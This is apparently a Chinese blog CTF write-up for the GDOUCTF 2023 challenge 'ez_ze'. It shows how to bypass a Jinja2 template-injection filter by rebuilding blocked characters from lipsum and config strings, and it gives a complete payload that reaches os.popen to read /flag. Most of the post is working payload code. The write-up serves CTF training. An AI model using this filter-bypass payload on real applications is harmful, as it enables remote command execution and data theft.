[GDOUCTF 2023]ez_ze

一道模板注入,是jinjia2模板。

过滤了

_ {{}} . [] '' os popen getitem

payload的原型

{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat /flag')|attr('read')()}}

先获取下划线和空格

{% print(lipsum|string|list) %}

第十九个是下划线,这里要用pop来获取下划线。

{% set pop=dict(pop=1)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}

获取反斜线,lipsum里面没有斜杠,在config里面发现有斜杠有点多可以写可脚本遍历一下

第239个是斜杠

{% set pop=dict(pop=1)|join %}
{% set re=(config|string|list)|attr(pop)(239) %}

然后是获取__globals__

{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}

用同样的方式获取__getitem__

{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}

其他的就是依葫芦画瓢。

完整的payload就是

{% set pop=dict(pop=1)|join %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set re=(config|string|list)|attr(pop)(239) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
{% set o=dict(o=a,s=b)|join %}
{% set po=dict(pop=a,en=b)|join %}
{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

posted @ 2023-07-31 23:01  bl0ck  阅读(356)  评论(0)    收藏  举报